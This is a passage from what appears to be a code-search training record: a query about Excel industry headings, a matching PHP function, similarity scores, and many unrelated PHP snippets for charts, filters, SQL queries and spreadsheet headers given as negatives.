$RetArr1->rDaysOnMarket->p25;\n $Supply = $RetArr1->rDaysOnMarket->hr;\n $ProductName = \"Average Days on Market (Rentals)\";\n }\n \n if( $datasource == \"PropSize\"){\n $sProductVal = $RetArr1->sSize->v;\n $NinthPercentile = $RetArr1->sSize->p90;\n $UpperQuartile = $RetArr1->sSize->p75;\n $Median = $RetArr1->sSize->v;\n $LowerQuartile = $RetArr1->sSize->p25;\n $Supply = $RetArr1->sSize->hr;\n $ProductName = \"Average Area (Rentals)\";\n }\n \n if( $datasource == \"DaysMarSales\"){\n $sProductVal = $RetArr1->sDaysOnMarket->v;\n $NinthPercentile = $RetArr1->sDaysOnMarket->p90;\n $UpperQuartile = $RetArr1->sDaysOnMarket->p75;\n $Median = $RetArr1->sDaysOnMarket->v;\n $LowerQuartile = $RetArr1->sDaysOnMarket->p25;\n $Supply = $RetArr1->sDaysOnMarket->hr;\n $ProductName = \"Average days on Market (Sales)\";\n }\n \n if( $datasource == \"RentList\" || $datasource=\"SalesOverView\" ){\n $sProductVal = $RetArr1->rListings->v;\n $NinthPercentile = $RetArr1->rListings->p90;\n $UpperQuartile = $RetArr1->rListings->p75;\n $Median = $RetArr1->rListings->v;\n $LowerQuartile = $RetArr1->rListings->p25;\n $Supply = $RetArr1->rListings->hr;\n $ProductName = \"Rent Listing Month\";\n }\n \n if( $datasource == \"NewRentList\" ){\n $sProductVal = $RetArr1->rNewListings->v;\n $NinthPercentile = $RetArr1->rNewListings->p90;\n $UpperQuartile = $RetArr1->rNewListings->p75;\n $Median = $RetArr1->rNewListings->v;\n $LowerQuartile = $RetArr1->rNewListings->p25;\n $Supply = $RetArr1->rNewListings->hr;\n $ProductName = \"Number of new Rental Listing's per Month\";\n }\n \n if( $datasource == \"SalesList\"){\n $sProductVal = $RetArr1->sListings->v;\n $NinthPercentile = $RetArr1->sListings->p90;\n $UpperQuartile = $RetArr1->sListings->p75;\n $Median = $RetArr1->sListings->v;\n $LowerQuartile = $RetArr1->sListings->p25;\n $Supply = $RetArr1->sListings->hr;\n $ProductName = \"Sales Listing\";\n }\n \n if( $datasource == \"NewSalesList\"){\n $sProductVal = $RetArr1->sNewListings->v;\n $NinthPercentile = $RetArr1->sNewListings->p90;\n $UpperQuartile = $RetArr1->sNewListings->p75;\n $Median = $RetArr1->sNewListings->v;\n $LowerQuartile = $RetArr1->sNewListings->p25;\n $Supply = $RetArr1->sNewListings->hr;\n $ProductName = \"Number of new Sales Listing's per Month\";\n }\n \n if( $datasource == \"SalesTrans\"){\n $sProductVal = $RetArr1->sTransactions->v;\n $NinthPercentile = $RetArr1->sTransactions->p90;\n $UpperQuartile = $RetArr1->sTransactions->p75;\n $Median = $RetArr1->sTransactions->v;\n $LowerQuartile = $RetArr1->sTransactions->p25;\n $Supply = $RetArr1->sTransactions->hr;\n $ProductName = \"Sales Transactions\";\n }\n \n \n if ( $MonthdateTemp == \"\" ){\n $MonthdateTemp = $Monthdate;\n }else{\n $MonthdateTemp = $Monthdate .\"','\". $MonthdateTemp ;\n }\n \n if ( $sProductValTemp == \"\" ){\n $sProductValTemp = $sProductVal;\n }else{\n $sProductValTemp = $sProductVal .\",\". $sProductValTemp ;\n }\n \n \n $AllArray[] = array(\"MonthYr\" => $Monthdate, \"NinthPercentile\" => $NinthPercentile , \"UpperQuartile\" => $UpperQuartile , \"Median\" => $Median , \"LowerQuartile\" => $LowerQuartile , \"Supply\" => $Supply ); \n }\n \n \n }\n //echo $Cnt;\n //echo $MonthdateTemp;\n // echo $sPricePaidTemp;\n //exit();\n \n //echo 'dcml='. $dcml . '<br>';\n \n $MonthdateTemp = \"'\" . $MonthdateTemp . \"'\"; \n \n\n $FinalStr =\"<script>\n var options = {\n series: [{\n name: '\" .$ProductName. \"',\n data: [\". $sProductValTemp .\"]\n }],\n chart: {\n height: 350,\n type: 'line',\n zoom: {\n enabled: false\n }\n },\n dataLabels: {\n enabled: false\n },\n stroke: {\n curve: 'straight'\n },\n title: {\n text: '',\n align: 'left'\n },\n grid: {\n row: {\n colors: ['#f3f3f3', 'transparent'], // takes an array which will be repeated on columns\n opacity: 0.5\n },\n },\n yaxis: {\n type: 'numeric',\n title: {\n text: '{$ProductName}',\n style: {\n fontSize: '18px',\n fontWeight: 'bold',\n fontFamily: undefined,\n color: '#263238'\n },\n },\n labels: {\n show:true,\n formatter: function (value) {\n return '£ '+ value.toString().replace(/\\B(?=(\\d{3})+(?!\\d))/g, ',');\n }\n },\n \n },\n xaxis: {\n categories: [\". $MonthdateTemp . \"],\n title: {\n text: 'Month',\n style: {\n fontSize: '10 px',\n fontWeight: 'normal',\n fontFamily: undefined,\n color: '#263238'\n },\n }\n }, \n tooltip: {\n y: {\n formatter: function(y) {\n if (typeof y !== 'undefined') {\n return '£ '+ y.toString().replace(/\\B(?=(\\d{3})+(?!\\d))/g, ',');\n }\n return y;\n }\n }\n }\n };\n \n var chart = new ApexCharts(document.querySelector('#chart{$Cnt}'), options);\n chart.render(); \n \n </script>\n \";\n //echo $Cnt ; \n \n if ($RetType == \"formap\"){\n \n\t\t return $FinalStr; \n }\n else{\n return $AllArray; \n }\n \n\t\t\n\t}", "public function show(Corporate $corporate)\n {\n //\n }", "public function getSupplierData(){\n\n\t\t$supperDataSQL = \"select * FROM\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\tSELECT *,\n\t\t\t\t\t\t\t(SELECT COUNT(inward_id) FROM inward AS inw WHERE inw.legal_entity_id=l.legal_entity_id) AS 'TotalGRN'\n\t\t\t\t\t\t\tFROM legal_entities AS l\n\t\t\t\t\t\t\tWHERE legal_entity_type_id='1002' AND is_posted=0\n\t\t\t\t\t\t) AS innertbl WHERE TotalGRN>0\";\n\n\t\t$supperData = DB::select(DB::raw($supperDataSQL));\n\n\t\t/*$supperData = DB::table('legal_entities_live')\n\t\t\t\t\t->where(\"legal_entity_type_id\",\"=\",\"1002\")\n\t\t\t\t\t->where('is_posted', '=', '0')\n\t\t\t\t\t->get();*/\n\n\t\treturn $supperData;\n\n\t}", "function View_Cat_Industry_Order()\n\t{\n\t\tglobal $db;\n\t\t$sql= \"SELECT * FROM \".INDUSTRY_MASTER\n\t \t\t .\" ORDER BY display_order ASC \";\n\t\t$db->query($sql);\n\t}", "public function filter(FilterProviderRequest $request)\n {\n $sort_type = 'DESC';\n if ($request->has('sort_type') && $request['sort_type'] == 'a') {\n $sort_type = 'ASC';\n }\n\n $providers = Provider::Active();\n if ($request->has('categories')) {\n $providers->where('type', $request['type']);\n }\n if ($request->has('countries')) {\n $providers->where('country', $request['country']);\n }\n $Ad = Ads::Location('upNewsReports')->first();\n\n return [\n 'providers' => new ProviderCollection(\n $providers->orderBy(\"created_at\", $sort_type)->paginate(10)\n ),\n 'Ad' => $Ad\n ];\n\n }", "function get_internships_by_company($id) {\n return get_view_data_where('internships', $id);\n}", "function wc_ie_counties_add_counties( $states ) {\r\n\t$states['IE'] = array(\r\n\t\t'Carlow' => 'Carlow',\r\n\t\t'Cavan' => 'Cavan',\r\n\t\t'Clare' => 'Clare',\r\n\t\t'Cork' => 'Cork',\r\n\t\t'Donegal' => 'Donegal',\r\n\t\t'Dublin' => 'Dublin',\r\n\t\t'Galway' => 'Galway',\r\n\t\t'Kerry' => 'Kerry',\r\n\t\t'Kildare' => 'Kildare',\r\n\t\t'Kilkenny' => 'Kilkenny',\r\n\t\t'Laois' => 'Laois',\r\n\t\t'Leitrim' => 'Leitrim',\r\n\t\t'Limerick' => 'Limerick',\r\n\t\t'Longford' => 'Longford',\r\n\t\t'Louth' => 'Louth',\r\n\t\t'Mayo' => 'Mayo',\r\n\t\t'Meath' => 'Meath',\r\n\t\t'Monaghan' => 'Monaghan',\r\n\t\t'Offaly' => 'Offaly',\r\n\t\t'Roscommon' => 'Roscommon',\r\n\t\t'Sligo' => 'Sligo',\r\n\t\t'Tipperary' => 'Tipperary',\r\n\t\t'Waterford' => 'Waterford',\r\n\t\t'Westmeath' => 'Westmeath',\r\n\t\t'Wexford' => 'Wexford',\r\n\t\t'Wicklow' => 'Wicklow',\r\n\t);\r\n\treturn $states;\r\n}", "public function filter(Request $request)\n {\n $data['status'] = $request->query('status');\n $data['validated'] = $request->query('validated');\n return $this->legalEntityRepository->getAllEntities($data);\n \n }", "protected function _getVendorCollection()\n {\n if (is_null($this->_vendorCollection)) {\n $queryText = $this->getQueryText();\n $vendorShoptable = $this->_resourceConnection->getTableName('ced_csmarketplace_vendor_shop');\n $this->_vendorCollection = $this->_collectionFactory->create();\n $this->_vendorCollection->addAttributeToSelect('*');\n //$this->_vendorCollection->getSelect()->join(['vendor_shop' => $vendorShoptable], 'e.entity_id=vendor_shop.vendor_id AND vendor_shop.shop_disable=' . Vshop::ENABLED, ['shop_disable']);\n\n $this->_vendorCollection->addAttributeToFilter('meta_keywords', ['like' => '%' . $queryText . '%']);\n if ($this->_csmarketplaceHelper->isSharingEnabled()) {\n $this->_vendorCollection->addAttributeToFilter('website_id', $this->_storeManager->getStore()->getWebsiteId());\n }\n\n if ($this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::MODULE_ENABLE)) {\n //------------------- Custom Filter----------------[START]\n\n $savedLocationFromSession = $this->_hyperlocalHelper->getShippingLocationFromSession();\n $filterType = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::FILTER_TYPE);\n $radiusConfig = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::FILTER_RADIUS);\n $distanceType = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::DISTANCE_TYPE);\n $apiKey = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::API_KEY);\n $filterProductsBy = $this->_csmarketplaceHelper->getStoreConfig(HyperlocalHelper::FILTER_PRODUCTS_BY);\n\n if ($filterProductsBy == 'vendor_location' || $filterType == 'distance') {\n $vendorIds = [0];\n if ($savedLocationFromSession) {\n\n /** Filter Products By Vendor Location */\n if ($filterType == 'city_state_country') {\n\n //------------------- Filter By City,country & state----------------[START]\n $locationCollection = $this->_hyperlocalHelper->getFilteredlocationByCityStateCountry($savedLocationFromSession);\n if ($locationCollection) {\n $vendorIds = $locationCollection->getColumnValues('vendor_id');\n }\n\n //------------------- Filter By City,country & state----------------[END]\n } elseif ($filterType == 'zipcode' && isset($savedLocationFromSession['filterZipcode'])) {\n\n //------------------- Filter By Zipcode----------------[START]\n $resource = $this->_resourceConnection;\n $tableName = $resource->getTableName('ced_cshyperlocal_shipping_area');\n $this->zipcodeCollection->getSelect()->joinLeft($tableName, 'main_table.location_id = ' . $tableName . '.id', ['status', 'is_origin_address']);\n $this->zipcodeCollection->addFieldToFilter('main_table.zipcode', $savedLocationFromSession['filterZipcode'])\n ->addFieldToFilter('status', Shiparea::STATUS_ENABLED);\n $this->zipcodeCollection->getSelect()->where(\"`is_origin_address` IS NULL OR `is_origin_address` = '0'\");\n $vendorIds = $this->zipcodeCollection->getColumnValues('vendor_id');\n //------------------- Filter By Zipcode----------------[END]\n } elseif ($filterType == 'distance') {\n $tolat = $savedLocationFromSession['latitude'];\n $tolong = $savedLocationFromSession['longitude'];\n $vIds = [];\n if ($tolat != '' && $tolong != '') {\n $vendorCollection = $this->_collectionFactory->create();\n $vendorCollection->addAttributeToSelect('*');\n if ($vendorCollection->count()) {\n foreach ($vendorCollection as $vendor) {\n $distance = $this->_hyperlocalHelper->calculateDistancebyHaversine($vendor->getLatitude(), $vendor->getLongitude(), $tolat, $tolong);\n if ($distance <= $radiusConfig) {\n $vendorIds[] = $vendor->getId();\n }\n }\n }\n }\n }\n $this->_vendorCollection->addAttributeToFilter('entity_id', ['in' => $vendorIds]);\n }\n }\n //------------------- Custom Filter ----------------[END]\n }\n\n $this->prepareSortableFields();\n }\n return $this->_vendorCollection;\n }", "function GetSessionFilterValues(&$fld) {\n\t\t$parm = substr($fld->FldVar, 2);\n\t\t$this->GetSessionValue($fld->SearchValue, 'sv1_deals_details_' . $parm);\n\t\t$this->GetSessionValue($fld->SearchOperator, 'so1_deals_details_' . $parm);\n\t\t$this->GetSessionValue($fld->SearchCondition, 'sc_deals_details_' . $parm);\n\t\t$this->GetSessionValue($fld->SearchValue2, 'sv2_deals_details_' . $parm);\n\t\t$this->GetSessionValue($fld->SearchOperator2, 'so2_deals_details_' . $parm);\n\t}", "function filterBy_S_A_F_E($SEDE, $AREA, $FACULTAD, $ESCUELA,$TABLE_I)\n{\n global $mysqli;\n $TINS = $TABLE_I;\n $query = new Query($mysqli, \"SELECT red,nombre,apellido,CONCAT(provincia,'-',clave,'-',tomo,'-',folio)AS cedula,n_ins,sede,fac_ia,esc_ia,car_ia,fac_iia,esc_iia,car_iia,fac_iiia,esc_iiia,car_iiia\n FROM \" .$TINS. \" where sede = ? AND area_i = ? AND fac_ia = ? AND esc_ia = ? \");\n $parametros = array(\"iiii\", &$SEDE, &$AREA, &$FACULTAD, &$ESCUELA);\n $data = $query->getresults($parametros);\n\n if (isset($data[0])) {\n return $data;\n } else {\n return null;\n }\n\n}", "protected function _getItemsData()\n {\n $isSolr = Mage::helper('layered')->isSolr();\n\n $attribute = $this->getAttributeModel();\n $this->_requestVar = $attribute->getAttributeCode();\n\n if ($isSolr) {//Enterprise_Search_Model_Catalog_Layer_Filter_Attribute\n $engine = Mage::getResourceSingleton('enterprise_search/engine');\n $fieldName = $engine->getSearchEngineFieldName($attribute, 'nav');\n\n $productCollection = $this->getLayer()->getProductCollection();\n $optionsFacetedData = $productCollection\n ->setFacetDataIsLoaded(false)\n ->getFacetedData($fieldName);\n $options = $attribute->getSource()->getAllOptions(false);\n\n $data = array();\n } else {//Mage_Catalog_Model_Layer_Filter_Attribute\n $key = $this->getLayer()->getStateKey().'_'.$this->_requestVar;\n $data = $this->getLayer()->getAggregator()->getCacheData($key);\n\n if ($data !== null) {\n return $data;\n }\n $options = $attribute->getFrontend()->getSelectOptions();\n $optionsCount = $this->_getResource()->getCount($this);\n $data = array();\n }\n\n foreach ($options as $option) {\n if ($isSolr) {\n $optionId = $option['value'];\n // Check filter type\n if ($this->_getIsFilterableAttribute($attribute) != self::OPTIONS_ONLY_WITH_RESULTS\n || !empty($optionsFacetedData[$optionId])\n ) {\n $data[] = array(\n 'label' => $option['label'],\n 'value' => $option['label'],\n 'count' => isset($optionsFacetedData[$optionId]) ? $optionsFacetedData[$optionId] : 0,\n 'checked' => $this->_selected($attribute->getAttributeCode(), $option['label']),\n 'link' => $this->_getLink($option['label'])\n );\n }\n } else {\n if (is_array($option['value'])) {\n continue;\n }\n //TODO:fix code above for Multiple Attributes & ~Solr\n\n if (Mage::helper('core/string')->strlen($option['value'])) {\n // Check filter type\n if ($this->_getIsFilterableAttribute($attribute) == self::OPTIONS_ONLY_WITH_RESULTS) {\n if (!empty($optionsCount[$option['value']])) {\n $data[] = array(\n 'label' => $option['label'],\n 'value' => $option['value'],\n 'count' => $optionsCount[$option['value']],\n 'checked' => $this->_selected($attribute->getAttributeCode(), $option['value']),\n 'link' => $this->_getLink($option['value'])\n );\n }\n } else {\n $data[] = array(\n 'label' => $option['label'],\n 'value' => $option['value'],\n 'count' => isset($optionsCount[$option['value']]) ? $optionsCount[$option['value']] : 0,\n );\n }\n }\n }\n }\n\n if (! $isSolr) {\n $tags = array(\n Mage_Eav_Model_Entity_Attribute::CACHE_TAG.':'.$attribute->getId()\n );\n\n $data = $this->_sortArray($data);\n\n $tags = $this->getLayer()->getStateTags($tags);\n $this->getLayer()->getAggregator()->saveCacheData($data, $key, $tags);\n }\n return $data;\n }", "function getArrayListFilterCol() {\n\t\t\t$data['kodeunit'] = 'u.kodeunit';\n\t\t\t\n\t\t\treturn $data;\n\t\t}", "function _dotgo_filter_tips() {\n}", "function getFieldIndustryofEmployment($val = null){\n\t\tinclude('axcelerate_link_array_list.php');\n\t\t$form_ret = '';\n\t\t$dataField = get_option('axceleratelink_srms_opt_ANZSICCode');\n\t\t$dataTitle = get_option('axceleratelink_srms_opt_tit_ANZSICCode');\n\t\t$tooltip = setToolTipNotification(\"ANZSICCode\");\n\t\tif ($dataField == 'true'){\n\t\t\t$form_ret .= \"<div id='ANZSICCodecon'></br><label>\".$dataTitle.(get_axl_req_fields('employment') === 'employment' ? '<span class=\"red\">*</span>' : '').$tooltip.\"</label><br><select name='ANZSICCode' id='ANZSICCode' class='srms-field \".(get_axl_req_fields('employment') === 'employment' ? 'input-select-required' : '').\"'><option value='' > -- Select an Option -- </option>\";\n\t\t\tforeach ($employerANZSIC_lists as $key => $value) {\n\t\t\t\t$form_ret .= \"<option value='\".$key.\"' \".($val == $key ? 'selected' : '').\">\".$value.\"</option>\";\n\t\t\t}\n\t\t\t$form_ret .= \"</select></br></div>\";\n\t\t}\n\t\treturn $form_ret;\n\t}" ]
[ "0.6635105", "0.6183549", "0.60515076", "0.58339965", "0.5822131", "0.57251346", "0.5618373", "0.5608116", "0.5588921", "0.55567616", "0.5549714", "0.55376315", "0.5534983", "0.55298", "0.5513042", "0.5508777", "0.550535", "0.54312783", "0.5425061", "0.53939986", "0.5392024", "0.53907645", "0.53744394", "0.5357208", "0.5352766", "0.53326094", "0.53325194", "0.5318534", "0.5310454", "0.5309468", "0.530769", "0.5293846", "0.5292751", "0.52808994", "0.52649254", "0.5243692", "0.52405703", "0.5233147", "0.5228021", "0.52277696", "0.52137583", "0.5210131", "0.52098054", "0.52006555", "0.51947343", "0.5183846", "0.5177965", "0.5175157", "0.5174999", "0.51634395", "0.5162269", "0.51598996", "0.5152909", "0.5150657", "0.5142251", "0.51319", "0.51285475", "0.5124672", "0.5118888", "0.50945336", "0.508882", "0.50871813", "0.5080354", "0.50684005", "0.5064614", "0.5057471", "0.50532925", "0.5048482", "0.50467676", "0.5044835", "0.50409305", "0.5039916", "0.5039769", "0.50383157", "0.50222886", "0.50213635", "0.5019178", "0.5017759", "0.5014916", "0.5011135", "0.5005245", "0.5003621", "0.5002907", "0.49913123", "0.4989683", "0.49863592", "0.49847034", "0.49822292", "0.498123", "0.49805987", "0.49801219", "0.49783924", "0.49748933", "0.4972509", "0.49695975", "0.49660966", "0.49640462", "0.49509507", "0.4945147", "0.49374554" ]
0.7004549
0
Industry Data Excel Headings
public static function excelIndustryHeadings() { return [ 'Code', 'Qualification', 'Priority', 'Industry', 'Qualification type', // 'Employer size' ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "abstract function getheadings();", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 